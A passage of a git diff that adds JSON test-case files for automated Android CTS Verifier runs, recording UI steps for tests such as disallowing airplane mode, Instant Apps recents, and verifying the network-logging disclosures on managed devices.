selectedBound\":{\"x1\":139.0,\"y1\":39.0,\"x2\":214.0,\"y2\":81.0}}],\"childrenIdList\":[\"5b69aea5-0e68-4f23-85d7-366035e21a6a\",\"08d4e663-6674-4136-a7a6-e51448e674ae\",\"76992197-a69d-4272-8d78-afe276e36d1c\",\"42709ea0-4da8-45ec-8984-45c918dbcb98\",\"1e58c03f-e985-4447-bd49-41937ea7cfab\",\"29bb81fb-b7ea-4cf2-8484-e38e3c814185\",\"89e8dff0-9afc-4530-9613-0e65d1d2f5ee\",\"523bfc29-6cf6-47ef-b518-d662ad759fb0\",\"bfeb1664-756d-4d24-8974-67ae68b0705b\",\"7339507e-3170-40e6-bb52-2a8063cde9d1\",\"6c314101-5195-49ff-88e9-8f78cc8c697b\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"11 &amp; 17-04 -Disable keyguard test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.107000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c1d1e74e-9d20-482f-9c48-58faaf8b8c7f b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c1d1e74e-9d20-482f-9c48-58faaf8b8c7f
new file mode 100644
index 0000000..b888881
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c1d1e74e-9d20-482f-9c48-58faaf8b8c7f
@@ -0,0 +1 @@
+{"uuid":"c1d1e74e-9d20-482f-9c48-58faaf8b8c7f","details":"{\"type\":\"CompoundAction\",\"name\":\"15-19-Disallow aireplane mode\",\"actionId\":\"c1d1e74e-9d20-482f-9c48-58faaf8b8c7f\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow airplane mode\",\"actionId\":\"f175068a-2b51-42af-b3c7-559319c419f6\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow airplane mode\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"1d16a949-c93c-4a6e-88f8-60ece1476e19\",\"displayText\":\"Disallow airplane mode\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disallow airplane mode\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":263.0,\"x2\":360.0,\"y2\":307.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":97.5,\"y\":284.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":82.5,\"y\":0.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"1d16a949-c93c-4a6e-88f8-60ece1476e19\",\"firstText\":\"Disallow airplane mode\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow airplane mode\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":6.0,\"y1\":275.0,\"x2\":189.0,\"y2\":294.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow airplane mode\",\"actionId\":\"ba056e8c-3d4c-4a2e-983d-b4837d503450\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow airplane mode\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Airplane mode\",\"actionId\":\"89223836-8361-4201-a910-4ef35f30f5a6\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Airplane mode\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"841f6260-944f-4b8e-8c3e-3e27e649ca2b\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"7b66f85c-141e-41d8-baff-6f4329b1ba58\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"SwipeAction\",\"name\":\"left\",\"actionId\":\"63ce82c0-1db7-443e-81e8-8247f17fdc66\",\"actionType\":\"SWIPE_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"startX\":340,\"startY\":320,\"endX\":20,\"endY\":320,\"startPointNodeContext\":null,\"endPointNodeContext\":null},{\"type\":\"ClickAction\",\"name\":\"Click Action, Airplane mode\",\"actionId\":\"8be617af-a738-4a5d-9502-727ef7e03349\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Airplane mode\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"cd0ba14c-facd-4cb4-baa6-ed88431479a2\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"44291145-6774-4ba3-9caf-731853cef58e\",\"f175068a-2b51-42af-b3c7-559319c419f6\",\"ba056e8c-3d4c-4a2e-983d-b4837d503450\",\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"89223836-8361-4201-a910-4ef35f30f5a6\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"841f6260-944f-4b8e-8c3e-3e27e649ca2b\",\"7b66f85c-141e-41d8-baff-6f4329b1ba58\",\"bc4f5534-26cb-4b19-b548-609b6c8e326e\",\"63ce82c0-1db7-443e-81e8-8247f17fdc66\",\"8be617af-a738-4a5d-9502-727ef7e03349\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"cd0ba14c-facd-4cb4-baa6-ed88431479a2\",\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-19-Disallow aireplane mode","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.149000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c21b516b-b794-463c-8bd1-649826d334bb b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c21b516b-b794-463c-8bd1-649826d334bb
new file mode 100644
index 0000000..7eb0d1f
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c21b516b-b794-463c-8bd1-649826d334bb
@@ -0,0 +1 @@
+{"uuid":"c21b516b-b794-463c-8bd1-649826d334bb","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Instant Apps Recents Test(Check image)\",\"actionId\":\"c21b516b-b794-463c-8bd1-649826d334bb\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Instant Apps Recents Test\",\"actionId\":\"452cfcaf-5031-4ce5-9422-4e79f98c0886\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Instant Apps Recents Test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"4ebd8dc6-7a1c-4ea7-b0dc-e8e992523455\",\"displayText\":\"Instant Apps Recents Test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Instant Apps Recents Test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":442.25,\"x2\":351.25,\"y2\":484.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":95.5,\"y\":463.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":84.5,\"y\":0.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"4ebd8dc6-7a1c-4ea7-b0dc-e8e992523455\",\"firstText\":\"Instant Apps Recents Test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Instant Apps Recents Test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":3.0,\"y1\":446.0,\"x2\":188.0,\"y2\":480.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Instant Apps Recents Test\",\"actionId\":\"ad160ae1-c955-4f1f-b0d6-c76716f85968\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"Instant Apps Recents Test\"},{\"type\":\"InputAction\",\"name\":\"Overview Button\",\"actionId\":\"cfd27d2b-a361-4b8d-a6ad-88502c1afcc7\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":187,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ScreenCapAction\",\"name\":\"SCREEN CAP\",\"actionId\":\"9adcd6c7-039e-4486-9786-7a4210a34894\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"riacheltseng\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"4a5cc2d0-916c-420e-8ea6-9712c92e8c60\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"452cfcaf-5031-4ce5-9422-4e79f98c0886\",\"ad160ae1-c955-4f1f-b0d6-c76716f85968\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"b53eeaf5-391f-4964-84fa-d086c2b938e1\",\"7ccaea57-2cd8-466d-b5fa-abbfb89831b3\",\"f89554c3-fe5e-4a96-aa56-261a920a689a\",\"cfd27d2b-a361-4b8d-a6ad-88502c1afcc7\",\"9adcd6c7-039e-4486-9786-7a4210a34894\",\"9b9343fa-a795-4169-883b-32dca700c4b6\",\"f89554c3-fe5e-4a96-aa56-261a920a689a\",\"4a5cc2d0-916c-420e-8ea6-9712c92e8c60\",\"d725d8a2-cb38-4a29-9857-a510943cf7fd\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_instant_app_path=$HOME/Documents/rvc_release/android-cts-verifier/CtsVerifierInstantApp.apk\"}}","name":"test_Instant Apps Recents Test(Check image)","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.063000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c3259a91-454a-42a5-b169-2d282d70f076 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c3259a91-454a-42a5-b169-2d282d70f076
new file mode 100644
index 0000000..e21c4a3
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c3259a91-454a-42a5-b169-2d282d70f076
@@ -0,0 +1 @@
+{"uuid":"c3259a91-454a-42a5-b169-2d282d70f076","details":"{\"type\":\"CompoundAction\",\"name\":\"Click Clear button\",\"actionId\":\"c3259a91-454a-42a5-b169-2d282d70f076\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Clear\",\"actionId\":\"aed25a5f-d7fc-4f44-9704-41d17dd8876b\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Clear\"}],\"childrenIdList\":[\"aed25a5f-d7fc-4f44-9704-41d17dd8876b\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click Clear button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.262000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c33097db-480e-433c-af22-ed22357d7c76 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c33097db-480e-433c-af22-ed22357d7c76
new file mode 100644
index 0000000..75ca7ac
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c33097db-480e-433c-af22-ed22357d7c76
@@ -0,0 +1 @@
+{"uuid":"c33097db-480e-433c-af22-ed22357d7c76","details":"{\"type\":\"CompoundAction\",\"name\":\"22-Network Logging UI(Check image)\",\"actionId\":\"c33097db-480e-433c-af22-ed22357d7c76\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Network Logging UI\",\"actionId\":\"00bb4d7d-0cfa-4f1c-a9df-d6d44c983c5b\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Network Logging UI\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"d344adad-79d2-400c-97ec-9ecc30d19426\",\"displayText\":\"Network Logging UI\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Network Logging UI\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":545.0,\"x2\":351.25,\"y2\":587.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":78.0,\"y\":565.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":102.0,\"y\":1.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"d344adad-79d2-400c-97ec-9ecc30d19426\",\"firstText\":\"Network Logging UI\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Network Logging UI\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":5.0,\"y1\":553.0,\"x2\":151.0,\"y2\":577.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Network Logging UI\",\"actionId\":\"5bbe7930-8fb4-45c4-8f6d-d8f00f0f91b5\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Network Logging UI\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that you are told that your device is managed\",\"actionId\":\"dffaef8a-e21c-4638-be67-bbb7d39f68f4\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"This device belongs to your organization\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"7585edc2-3d63-4e1e-9986-2de79db2746d\",\"displayText\":\"This device belongs to your organization\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"665fd56b-dd15-475b-bdf7-e1c731bc62d7\",\"displayText\":\"This device belongs to your organization\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.systemui:id/footer_text\",\"text\":\"This device belongs to your organization\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":74.25,\"y1\":360.5,\"x2\":264.5,\"y2\":374.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":2.375,\"y\":4.125,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"This device belongs to your organization\"},{\"uuid\":\"1cda8e82-c28f-4861-bb08-73504da1219f\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"com.android.systemui:id/footer_icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":271.5,\"y1\":360.5,\"x2\":285.5,\"y2\":374.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":60.25,\"y1\":348.25,\"x2\":299.5,\"y2\":387.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":167.0,\"y\":363.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":12.875,\"y\":4.125,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"665fd56b-dd15-475b-bdf7-e1c731bc62d7\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"This device belongs to your organization\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":69.0,\"y1\":347.0,\"x2\":265.0,\"y2\":380.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, Enable Network Logging\",\"actionId\":\"e1949e3a-a29c-4bd4-bb14-6f4bd4671f70\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Enable Network Logging\"},{\"type\":\"ScreenCapAction\",\"name\":\"SCREEN CAP-Check that an icon appeared next to the text about device management\",\"actionId\":\"cec57167-1485-4e63-917b-0b2d9b83ab52\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"riacheltseng\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that device is managed\",\"actionId\":\"793e0e1b-8e8c-4374-a196-7cf63d07832e\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Your organization owns this device and may monitor network traffic\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"3148c677-321c-41e7-aa9b-d1b6947c0666\",\"displayText\":\"Your organization owns this device and may monitor network traffic\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"9e18750e-7547-4e88-8a69-f56597311f6d\",\"displayText\":\"Your organization owns this device and may monitor network traffic\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.systemui:id/footer_text\",\"text\":\"Your organization owns this device and may monitor network traffic\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":17.5,\"y1\":360.5,\"x2\":321.5,\"y2\":374.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Your organization owns this device and may monitor network traffic\"},{\"uuid\":\"f4a8bc35-24c1-41a0-9be2-79be73405c16\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"com.android.systemui:id/footer_icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":328.5,\"y1\":360.5,\"x2\":342.5,\"y2\":374.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":3.5,\"y1\":348.25,\"x2\":356.5,\"y2\":387.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":155.0,\"y\":364.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":25.0,\"y\":3.625,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"3148c677-321c-41e7-aa9b-d1b6947c0666\",\"firstText\":\"Your organization owns this device and may monitor network traffic\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Your organization owns this device and may monitor network traffic\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":86.0,\"y1\":349.0,\"x2\":224.0,\"y2\":379.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"05ed8764-76c4-443e-8de4-e91ad9ea61bd\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ScreenCapAction\",\"name\":\"SCREEN CAP-Verify that a notification including the same icon popped up\",\"actionId\":\"24c89f2a-1d49-4d44-a5bc-56aafd848981\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"riacheltseng\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Your organization manages this device and may monitor network traffic. Tap for details.\",\"actionId\":\"114f14bc-f910-4345-ade8-81db5fb83e10\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"Your organization manages this device and may monitor network traffic. Tap for details.\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that managed message\",\"actionId\":\"6d9b92ea-715f-48d2-86e8-481b38456dba\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Your admin has turned on network logging, which monitors traffic on your device.\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"9a0e404b-ed01-4079-abf3-60002cad348d\",\"displayText\":\"Your admin has turned on network logging, which monitors traffic on your device.\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"b2e5932f-33af-4c06-aa8d-4107a105892e\",\"displayText\":\"Network logging\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.systemui:id/network_logging_subtitle\",\"text\":\"Network logging\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":35.0,\"y1\":391.75,\"x2\":325.0,\"y2\":432.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Network logging\"},{\"uuid\":\"60dc8730-799e-4ad0-a29c-598e1a197600\",\"displayText\":\"Your admin has turned on network logging, which monitors traffic on your device.\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.systemui:id/network_logging_warning\",\"text\":\"Your admin has turned on network logging, which monitors traffic on your device.\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":35.0,\"y1\":432.5,\"x2\":325.0,\"y2\":468.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":11.0,\"y\":1.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Your admin has turned on network logging, which monitors traffic on your device.\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.systemui:id/network_logging_disclosures\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":35.0,\"y1\":391.75,\"x2\":325.0,\"y2\":489.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":169.0,\"y\":449.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":11.0,\"y\":-8.625,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"60dc8730-799e-4ad0-a29c-598e1a197600\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Your admin has turned on network logging, which monitors traffic on your device.\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":33.0,\"y1\":429.0,\"x2\":305.0,\"y2\":469.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, View Policies button\",\"actionId\":\"596901ce-4220-4ba2-bd8f-0b82daca0a46\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button2\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify \\\"Managed device info\\\" page is opened\",\"actionId\":\"579e17ab-5d2e-49ac-92f6-cb62e7e2de69\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Managed device 